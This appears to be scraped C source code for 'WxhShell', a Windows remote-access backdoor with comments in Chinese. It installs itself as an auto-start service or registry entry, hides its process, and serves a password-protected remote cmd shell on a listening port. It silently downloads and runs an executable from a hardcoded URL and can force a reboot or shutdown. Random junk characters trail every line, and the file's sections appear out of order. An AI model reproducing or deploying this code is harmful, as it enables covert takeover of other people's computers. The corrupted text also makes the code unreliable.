    if(Boot(SHUTDOWN)) Cm%I/4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f -F}~S  
    else { sU*?H`U3d  
    closesocket(wsh); ovM;6o  
    ExitThread(0); *<67h*|)  
    } bfoTGi  
    break; %]0?vw:;j  
    } > K,QP<B  
  // 获取shell WrDFbcH  
  case 's': { 2#^g] o-N  
    CmdShell(wsh); 0?/gEr  
    closesocket(wsh); k,=<G ,  
    ExitThread(0); k;t G-~\d  
    break; F_R\  
  } pKq[F*Lut  
  // 退出 ,'`yh|}G\  
  case 'x': { R59iuHQ[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B&rNgG7~  
    CloseIt(wsh); E%D.a=UX,  
    break; yc3/5]E&  
    } `4xQ#K.-  
  // 离开 |T/OOIA=sI  
  case 'q': { d;gs1]E50  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GfK%UZ$C  
    closesocket(wsh); H9ES|ZJs  
    WSACleanup(); $3p48`.\  
    exit(1); &a=rJvnIO&  
    break; =gJ{75tV3  
        } "xTVu57Z[  
  } H{5,  -x  
  } ;K8}Yq9p9  
F5cN F 5  
  // 提示信息 q|]CA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^1F zs(#.  
}  {p/Yz#  
  } tR<#CCtRp'  
rL"]m_FK  
  return; 8g_kZ^<[  
} ~<K,P   
Pi?G:IF  
// shell模块句柄 5;/q[oXI  
int CmdShell(SOCKET sock) [DeDU:  
{ g7hI9(8+  
STARTUPINFO si; Ieq_XF]U  
ZeroMemory(&si,sizeof(si)); ]W Yub1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \VOv&s;h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'do2n/  
PROCESS_INFORMATION ProcessInfo; &)tv4L&  
char cmdline[]="cmd"; u e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IZ>l  
  return 0; !^MwE]  
} qvy*; <w  
SODHn9)  
// 自身启动模式 J`[jub  
int StartFromService(void) pl@K"PRE  
{ )ej1)RU"  
typedef struct ;g#nGs>  
{ )_j(NX-C:  
  DWORD ExitStatus; v+g:0 C5 (  
  DWORD PebBaseAddress; N& F.hi$_  
  DWORD AffinityMask; ?nL,Otz  
  DWORD BasePriority; AHuIA{AdUR  
  ULONG UniqueProcessId; n>eDN\5  
  ULONG InheritedFromUniqueProcessId; ! a\v)R  
}   PROCESS_BASIC_INFORMATION; F`e E*&  
1CZO+MB&"$  
PROCNTQSIP NtQueryInformationProcess; Z~94<*LEp  
5 Slz ^@n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;(}~m&p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PeiRe  
^4]=D nd%  
  HANDLE             hProcess; ~cO iv  
  PROCESS_BASIC_INFORMATION pbi; 8,h!&9  
\5<Z[#{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -"H$ &p~  
  if(NULL == hInst ) return 0; Ici4y*`M  
gx^!&>eIb#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q{=r9&&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sx7zRw >X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <"p-0=IgJ  
U&*%KPy`  
  if (!NtQueryInformationProcess) return 0; 2x|F Vp  
~$^ >Vo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #M!{D  
  if(!hProcess) return 0; V,& OO  
E%8uQ2p(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (4q/LuP^d  
s"$K2k;J  
  CloseHandle(hProcess); WZ!zUUp}V  
Z 369<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ()Wu_Q  
if(hProcess==NULL) return 0; FaWc:GsfB  
byt$Wqdl  
HMODULE hMod; 4IY|<  
char procName[255]; Bnwq!i!M  
unsigned long cbNeeded; wmR~e  
)@Y< <9'2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a0A=R5_  
"|&3z/AUh  
  CloseHandle(hProcess); 1Lje.%(E.  
UB8n,+R  
if(strstr(procName,"services")) return 1; // 以服务启动 6q`)%"4k  
)J+OyR=  
  return 0; // 注册表启动 {gu3KV  
} d5 {=<j  
GZx*A S]+  
// 主模块 Ke:EL;*8k  
int StartWxhshell(LPSTR lpCmdLine) ~W4SFp  
{ yEh{9S%6p  
  SOCKET wsl; 6#jql  
BOOL val=TRUE; |Go$z3bx  
  int port=0; GCr]x '  
  struct sockaddr_in door; d>MDC . j  
(5+g:mSfr  
  if(wscfg.ws_autoins) Install(); 726UO#*  
Rq?t=7fX)  
port=atoi(lpCmdLine); >PQ?|Uk  
rhaq!s38:  
if(port<=0) port=wscfg.ws_port; 14uv[z6  
'T qF}a7  
  WSADATA data; @6R6.i5d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y+$]N:\F\  
pz/W#VN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tGXH)=K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b *0uxvLu  
  door.sin_family = AF_INET; # &5.   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DMp@B]>  
  door.sin_port = htons(port); cZoj|=3a  
g6.I~o Q j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &IRM<A!8  
closesocket(wsl); ~FXq%-J  
return 1; }1Mf0S  
} /<+`4n  
%`lJAW[  
  if(listen(wsl,2) == INVALID_SOCKET) { "8U=0a  
closesocket(wsl); (ToD u@p  
return 1; {=gJGP/}_  
} rL+.3ZO):P  
  Wxhshell(wsl); gk5Gf l  
  WSACleanup(); BjTgZ98J  
J 48$l(l3  
return 0; kou7_4oS  
X+,0;% p  
} suLC7x`Z  
;9ChBA  
// 以NT服务方式启动 xA-?pLt "G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <_=O0 t| 6  
{ *0V'rH)  
DWORD   status = 0; ]Z85%q^`  
  DWORD   specificError = 0xfffffff; uT<<G)v)  
w?N>3`Jnf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sx0{]1J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hmx.BBz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <X& fs*x&  
  serviceStatus.dwWin32ExitCode     = 0; a +~b3  
  serviceStatus.dwServiceSpecificExitCode = 0; /PR 4ILed  
  serviceStatus.dwCheckPoint       = 0; O2 + K  
  serviceStatus.dwWaitHint       = 0; 7d|1T'  
ke<5]&x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s6_i>  
  if (hServiceStatusHandle==0) return; ,Sy& ?t}`  
F :Ps>  
status = GetLastError(); kr |k \  
  if (status!=NO_ERROR) GY0OVAW6'c  
{ Gui[/iY,F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0E (G1o'  
    serviceStatus.dwCheckPoint       = 0; o>Dd1 j  
    serviceStatus.dwWaitHint       = 0; dIhfp7|  
    serviceStatus.dwWin32ExitCode     = status; m^TN6/])  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?gvu E1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2*Pk1 vrI  
    return; MpJ<.|h  
  } @qx$b~%  
nvNF~)mu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8]1,EE<  
  serviceStatus.dwCheckPoint       = 0; WQD:~*C:  
  serviceStatus.dwWaitHint       = 0; h5-yhG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q&?0 ^;r  
} R?- zJ ;  
MLmaA3  
// 处理NT服务事件,比如:启动、停止 ZBN,%P!P0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1~LfR  
{ T-/3 A%v  
switch(fdwControl) .P?n<n#  
{ h/8p2Mrqi  
case SERVICE_CONTROL_STOP: <63TN`B  
  serviceStatus.dwWin32ExitCode = 0; A^LS^!Jz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N#$]W"U  
  serviceStatus.dwCheckPoint   = 0; I'p+9H$  
  serviceStatus.dwWaitHint     = 0; -"H0Qafm  
  { ,\aL v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gNA!)}m\  
  } ;)P=WS:=  
  return; gMkSl8[  
case SERVICE_CONTROL_PAUSE: bw7gL\*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G#6Z@|kVw  
  break; V7p hD3Y  
case SERVICE_CONTROL_CONTINUE: )EKWsGNe/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pLV %g#h  
  break; rX>b R/  
case SERVICE_CONTROL_INTERROGATE: s@y;b0$gk  
  break; Hz==,NR-W  
}; U[8F{LX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u4m8^fj+ T  
} i ?uX'apk  
y'>JT/Q5  
// 标准应用程序主函数 - _6`0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v&WK9F\  
{ V |}9bNF  
k)X\z@I'  
// 获取操作系统版本 ;FF+uK  
OsIsNt=GetOsVer(); a l6y=;\jZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); re}PpXRC  
5;^1Ab0  
  // 从命令行安装 M+HhTW;I=  
  if(strpbrk(lpCmdLine,"iI")) Install(); kS9;Tjcx  
k.o8!aCm  
  // 下载执行文件 *FZav2]-  
if(wscfg.ws_downexe) { -qHG*v,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y@1QVt04  
  WinExec(wscfg.ws_filenam,SW_HIDE); d!Gy#<H  
} g;6/P2w  
n]D io  
if(!OsIsNt) { CmBgay  
// 如果时win9x,隐藏进程并且设置为注册表启动 O"\_%=X9  
HideProc(); M"/Jn[  
StartWxhshell(lpCmdLine); X"r.*fb;N  
} RjPkH$u'Pj  
else oSkQ/5hg.  
  if(StartFromService()) ^H1m8=  
  // 以服务方式启动 g}gGm[1SUo  
  StartServiceCtrlDispatcher(DispatchTable); Q@>1z*'I  
else 6-TYOUm  
  // 普通方式启动 y%61xA`#  
  StartWxhshell(lpCmdLine); <g;,or#$  
Y&U-d{"  
return 0; ?*+U[*M  
} ~ho,bwJM[T  
~O PBZ#  
Q#Zazvk  
Ka-o$o[^u`  
=========================================== GA[D@Wy  
UXdc'i g  
+_cigxpTc  
FA)ot)]  
q0Q[]|L  
!&g_hmnIF  
" Q<;EQb#  
I]+ zG  
#include <stdio.h> _|0#  
#include <string.h> iQ8{N:58DN  
#include <windows.h> e@0|fB%2  
#include <winsock2.h> r"h09suZBW  
#include <winsvc.h> ol/@)k^s>  
#include <urlmon.h> ~/-SKGzo-  
 ] ?D$n  
#pragma comment (lib, "Ws2_32.lib") ~K3Lbd| r  
#pragma comment (lib, "urlmon.lib") ,&=7ir14>R  
MZ-;'w&Z  
#define MAX_USER   100 // 最大客户端连接数 `^hA&/1  
#define BUF_SOCK   200 // sock buffer WKlqm)m@  
#define KEY_BUFF   255 // 输入 buffer zNrn|(Y%Y  
Ib{l$#  
#define REBOOT     0   // 重启 ,e;,+w=~E  
#define SHUTDOWN   1   // 关机 nA(" cD[,  
;7?oJH;  
#define DEF_PORT   5000 // 监听端口  ArAe=m!u  
JkT!X  
#define REG_LEN     16   // 注册表键长度 :'C?uk ?  
#define SVC_LEN     80   // NT服务名长度 E=,5%>C0#%  
hDW_a y4  
// 从dll定义API F)Q[ cai  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?;`GCE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *k,3@_5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R(^Sse  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); __$;Z  
vvxD}p=y  
// wxhshell配置信息 s-Yu(X2  
struct WSCFG { RS}_cm0  
  int ws_port;         // 监听端口 UV}:3c6ZX  
  char ws_passstr[REG_LEN]; // 口令 UMd.=HC L  
  int ws_autoins;       // 安装标记, 1=yes 0=no U9b[t  
  char ws_regname[REG_LEN]; // 注册表键名 R"O%##Ws  
  char ws_svcname[REG_LEN]; // 服务名 {[Ri:^nHgL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x  zF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IO8 @u;&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W? 4:sLC#3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lg$aRqI29  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'h6G"=+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *'aJO }$  
R,PN?aj  
}; uuFQTx))  
Z'k?lkB2i  
// default Wxhshell configuration hkb\ GcOj  
struct WSCFG wscfg={DEF_PORT, AhOBbss]q  
    "xuhuanlingzhe", oi7k#^  
    1, @aUNyyVP  
    "Wxhshell", XZ@+aG_%q  
    "Wxhshell", {{P 3Z[  
            "WxhShell Service", zFO0l).  
    "Wrsky Windows CmdShell Service", !] uB4  
    "Please Input Your Password: ", CUpRtE8@[_  
  1, Sft vN-  
  "http://www.wrsky.com/wxhshell.exe", Z.@n7G  
  "Wxhshell.exe" Lc}hjK  
    }; Gd\/n*j  
e#mf{1&  
// 消息定义模块 Z|a*"@5_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .{8[o[w =  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'J &R=MD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iY@}Q "  
char *msg_ws_ext="\n\rExit."; (NR( )2  
char *msg_ws_end="\n\rQuit."; *: FS/ir  
char *msg_ws_boot="\n\rReboot..."; >T [Y>]  
char *msg_ws_poff="\n\rShutdown..."; Z*q&^/N  
char *msg_ws_down="\n\rSave to "; u?SwGXi~8  
ceks~[rP  
char *msg_ws_err="\n\rErr!"; wV f 7<@/y  
char *msg_ws_ok="\n\rOK!"; + XBF,<P  
I(BJ1 8F$  
char ExeFile[MAX_PATH]; Fng  
int nUser = 0; lbovwj  
HANDLE handles[MAX_USER]; $RI$VyAjD  
int OsIsNt; 0~$9z+S  
v:74iB$i/C  
SERVICE_STATUS       serviceStatus; /O.q4p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6 A]a@,PC  
_IU5HT}2  
// 函数声明 #X*);cn  
int Install(void); /K!f3o+  
int Uninstall(void); }I}GA:~$%  
int DownloadFile(char *sURL, SOCKET wsh); (Lz|o!>  
int Boot(int flag); h0~<(3zC  
void HideProc(void); kP('X/  
int GetOsVer(void); "-Ny f  
int Wxhshell(SOCKET wsl); .e3@fq  
void TalkWithClient(void *cs); Iy*Q{H3[  
int CmdShell(SOCKET sock); s@%>  
int StartFromService(void); #Cs/.(<  
int StartWxhshell(LPSTR lpCmdLine); IpzU=+h  
8#A4B2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A 9l d9R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GK11fZpO:i  
@zw&-b:qI  
// 数据结构和表定义 jYAm}_?No  
SERVICE_TABLE_ENTRY DispatchTable[] = vOKNBR2  
{ o%lxEd r  
{wscfg.ws_svcname, NTServiceMain}, DU*qhW`X  
{NULL, NULL} IR2Qc6+{  
}; U_aI!`WXd  
V{>;Z vj1R  
// 自我安装 Q8l vwip  
int Install(void) YT[=o}jS  
{ k:j?8o3  
  char svExeFile[MAX_PATH]; _N|A I"sj.  
  HKEY key; n3U| d+  
  strcpy(svExeFile,ExeFile); zJ1M$ U  
69ycP(  
// 如果是win9x系统,修改注册表设为自启动 8>vNa  
if(!OsIsNt) { W>{&" 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SV95g@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OOnj(%g  
  RegCloseKey(key); a.O"I3{?h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (A}c22qe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z8D,[`  
  RegCloseKey(key); {~g7&+9x*  
  return 0; dYwEVu6q  
    } }7fzEo`g  
  } %M^Q{` :5  
} rfgsas{F  
else { 0@u{(m  
XCn;<$3w  
// 如果是NT以上系统,安装为系统服务  ]5ibg"{S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3|3ad'  
if (schSCManager!=0) 0&&P+adk  
{ v33[Rk'  
  SC_HANDLE schService = CreateService Y<@_d  
  ( m^/>C -&C  
  schSCManager, {JKG-0)z?  
  wscfg.ws_svcname, y^{ 4}^u-^  
  wscfg.ws_svcdisp, /<O9^hA|  
  SERVICE_ALL_ACCESS, l<"B[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [>j.x2=  
  SERVICE_AUTO_START, .rDao]K  
  SERVICE_ERROR_NORMAL, % 1<@p%y/  
  svExeFile, cZWW[i  
  NULL, F?y C=  
  NULL, fl_a@QdB#  
  NULL, mII8jyg*c  
  NULL, lKRp9isn^  
  NULL fv>Jn`  
  ); aH500  
  if (schService!=0) A>:31C  
  { D2:ShyYAS  
  CloseServiceHandle(schService); &Fmen;(  
  CloseServiceHandle(schSCManager); lrMkp@ f.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f,-'eW/j  
  strcat(svExeFile,wscfg.ws_svcname); hH?ke(&=f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @$!"}xDR'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $7Lcn9 ?G  
  RegCloseKey(key); UyNP:q:  
  return 0; lcoJ1+`C  
    } M|$A)D1  
  } `-rtU  
  CloseServiceHandle(schSCManager); =D 5!Xq'|  
} I =K<%.  
} U4e9[=q`'  
iW? NxP  
return 1; ]RW*3X  
} \5) ZI'q  
-]Oi/i,{  
// 自我卸载  ck`$ `  
int Uninstall(void) QVN @B[9  
{ X=JAyxY  
  HKEY key; Ti5"a<R4m6  
/Dk`?  
if(!OsIsNt) { 00A2[gO9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +$G P(Uu,  
  RegDeleteValue(key,wscfg.ws_regname); |Gb~[6u   
  RegCloseKey(key); 8 A#\V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bq \WG=Fd  
  RegDeleteValue(key,wscfg.ws_regname); d8f S79  
  RegCloseKey(key); 4+0:(=>[%  
  return 0; !=+hU/e  
  } z#olKBs  
} ,<CzS,(  
} A Rjox`  
else { XZPq4(,9}  
\OF"hPq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wQ9fPOm  
if (schSCManager!=0) s.@DI|Gnf  
{ )XD$YI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %|?PG i@5  
  if (schService!=0) W#<ZaGsq  
  { q?Mmkh)g  
  if(DeleteService(schService)!=0) { Yg")/*!H  
  CloseServiceHandle(schService); WAh{*$Rpl  
  CloseServiceHandle(schSCManager); 2ISnWzq;  
  return 0; pS)/yMlVj  
  } qznd '^[  
  CloseServiceHandle(schService); +t;j5\HS  
  } e_CgZ  
  CloseServiceHandle(schSCManager); Qc"UTvq  
} .AHww7  
} nSV OS6  
Y-:{a1/RKo  
return 1; (K->5rSU  
} t{ScK%S6  
D& #ph%U,P  
// 从指定url下载文件 &]HY:  
int DownloadFile(char *sURL, SOCKET wsh) 1C\[n(9  
{ pD%Pg5p`  
  HRESULT hr; \*$''`b)j  
char seps[]= "/"; HrQft1~N  
char *token; 5J8U] :Y)  
char *file; c4n]#((%a  
char myURL[MAX_PATH]; {%3sj"suB  
char myFILE[MAX_PATH]; keWqL]  
VE5M}kDCZ  
strcpy(myURL,sURL); ojZvgF  
  token=strtok(myURL,seps); ]l4# KI@  
  while(token!=NULL) ^iaG>rvA  
  { r@Tq-o  
    file=token; 8DP] C9  
  token=strtok(NULL,seps); sKI{AHJ?X  
  } E%6}p++  
I= 'S).  
GetCurrentDirectory(MAX_PATH,myFILE); =E''$b?Em  
strcat(myFILE, "\\"); WrNm:N  
strcat(myFILE, file); vEIDf{  
  send(wsh,myFILE,strlen(myFILE),0); #Y;_W;#  
send(wsh,"...",3,0); U6@ j=|q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =tE7XC3X_  
  if(hr==S_OK) VCZ.{MD  
return 0; 7Z+4F=2ff  
else {\+!@?  
return 1; K7H` Yt  
o3~ecJ?k  
}  Lx:O Dd  
+5:oW~ ;  
// 系统电源模块 !yQ#E2/A  
int Boot(int flag) 3-5X^!C  
{ Eh&et0&=g  
  HANDLE hToken; nT.2HQ((Xg  
  TOKEN_PRIVILEGES tkp; HG/`5$L +}  
!!4` #Z0+#  
  if(OsIsNt) { W7QcDR y6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7C%z 0/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^%V^\DK  
    tkp.PrivilegeCount = 1; <g|\]\C|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :NJ(QkTZv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OTNcNY  
if(flag==REBOOT) { .6m%/-whS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~a^"VQ5]ac  
  return 0; 6WEYg   
} WZ a?Xb  
else { Rs<li\GS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bu\:+3)  
  return 0; kCWaji_x%  
} XUrxnJ4  
  } J~3+j6?%  
  else { yrnIQu*Uu  
if(flag==REBOOT) { FCu0)\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qd=&*?  
  return 0; U&uop$/Cq  
} [nO\Q3c|@$  
else { 8%qHy1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kDAPT_Gid  
  return 0; tp-PE?  
} y Q_lJIX  
} #@QZ  
MY]Z@  
return 1; hP1H/=~  
} h7iI=[_V  
?=X G#we  
// win9x进程隐藏模块 M PhG:^g  
void HideProc(void) 6tC0F=  
{ ai!zb2j!E  
{=5Wi|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qHT_,\l2  
  if ( hKernel != NULL ) 8{@0p"re@  
  { L 1FT h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }0& @J'<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5E|y5|8fb  
    FreeLibrary(hKernel); i/j DwA  
  } nU{ }R"|  
uAd4 Zz  
return; .d) X.cO  
} EZ6\pyNB0#  
x]~{#pH@<  
// 获取操作系统版本 gVM&wo |  
int GetOsVer(void) Vz(O=w=  
{ E;Akm':  
  OSVERSIONINFO winfo; \uT2)X( N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R4 8w\?L  
  GetVersionEx(&winfo); +K6j p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @2>A\0U  
  return 1; {$,t^hd  
  else ^Jv$Wx  
  return 0; @WmEcX|  
} I{e[Y_  
rHzwSR@}1  
// 客户端句柄模块 u0&QStI  
int Wxhshell(SOCKET wsl) i&%~:K*  
{ ;L <D-=  
  SOCKET wsh; kj$Ks2!W  
  struct sockaddr_in client; ;'E1yzX^  
  DWORD myID; <OQn |zU\  
L_TM]0D>7  
  while(nUser<MAX_USER) ZCP r`H  
{ U3R;'80 f  
  int nSize=sizeof(client); /$w,8pV =  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); us/}_r74N*  
  if(wsh==INVALID_SOCKET) return 1; nY]5pOF:  
U`G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `\}Ck1o  
if(handles[nUser]==0) >iZ"#1ZL2O  
  closesocket(wsh); 8dgi"/[3  
else d`}t!]Gg  
  nUser++; Rm^3K   
  } 8%eWB$<X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9L2]PU v  
Yo 0wufbfV  
  return 0; Y@jO#6R  
} F(!9;O5J]  
%QYH]DR  
// 关闭 socket 7?U)V03  
void CloseIt(SOCKET wsh) (:g ZZG  
{ ]~YY#I":  
closesocket(wsh); VLdQXNg9W"  
nUser--; |Ok@:Au  
ExitThread(0); Gx&o3^t  
} 8)Z)pCN  
4l2/eh]Hc(  
// 客户端请求句柄 |\# ~  
void TalkWithClient(void *cs) )#(6J  
{ (uW$ch@2K  
K:<j=j@51  
  SOCKET wsh=(SOCKET)cs; UrMEL; @g  
  char pwd[SVC_LEN];  ktA5]f;  
  char cmd[KEY_BUFF]; b.N$eJlQ&  
char chr[1]; u~]O #v  
int i,j; i9RAb tQ}  
51sn+h<w  
  while (nUser < MAX_USER) { [C>>j;q%  
)z" .lw  
if(wscfg.ws_passstr) { ~K7$ZM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~;V5*t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V*Q!J{lj^#  
  //ZeroMemory(pwd,KEY_BUFF); ++gWyzD  
      i=0; v@&UTU  
  while(i<SVC_LEN) { :{g;J  
}xA Eu,n^  
  // 设置超时 a'Vz|S G  
  fd_set FdRead; 'vP"& lrn  
  struct timeval TimeOut; ^oLMgz  
  FD_ZERO(&FdRead); es6]c%o:t^  
  FD_SET(wsh,&FdRead); {%&!x;%  
  TimeOut.tv_sec=8; qexnsL  
  TimeOut.tv_usec=0; _+aMP=H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +~7x+6E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _;!$1lM[  
ns&3Dh(IVP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); znkc@8_4  
  pwd=chr[0]; ]YciLc(  
  if(chr[0]==0xd || chr[0]==0xa) { !q8"Q t  
  pwd=0; /a .XWfu  
  break; W6A-/;S\  
  } w;wgh`ur  
  i++; N hY`_?)  
    } 2Kmnt(>  
'}N4SrU$  
  // 如果是非法用户,关闭 socket !^x;4@Ejm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /* G-\|  
} 0 3?7kAI  
KKRj#m(:!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [W8"Mc|ve  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  oB8LJZ;  
 84g8$~M  
while(1) { "Q.KBX v/  
r}4   
  ZeroMemory(cmd,KEY_BUFF); ,{jF)NQaP  
uE ^uP@d  
      // 自动支持客户端 telnet标准   K&{ruHoKB  
  j=0; 1]wo    
  while(j<KEY_BUFF) { -\[&<o@/D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *G"}m/j-  
  cmd[j]=chr[0]; 6sQY)F7p  
  if(chr[0]==0xa || chr[0]==0xd) { Fp(-&,L0fc  
  cmd[j]=0;  5?34<B  
  break; ai]KH7  
  } nhLw&V3y  
  j++; ,c&%/"i:w  
    } 6#;u6@+}yy  
] ]lN[J  
  // 下载文件 x4CSUcKb  
  if(strstr(cmd,"http://")) { HXP/2&|JY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p1']+4r%  
  if(DownloadFile(cmd,wsh)) v@1f,d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e% #?B *  
  else U1=]iG<%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<L=l Q  
  } l:14uWu|  
  else { \Z^Tk   
@0D  
    switch(cmd[0]) { C4|H 5H  
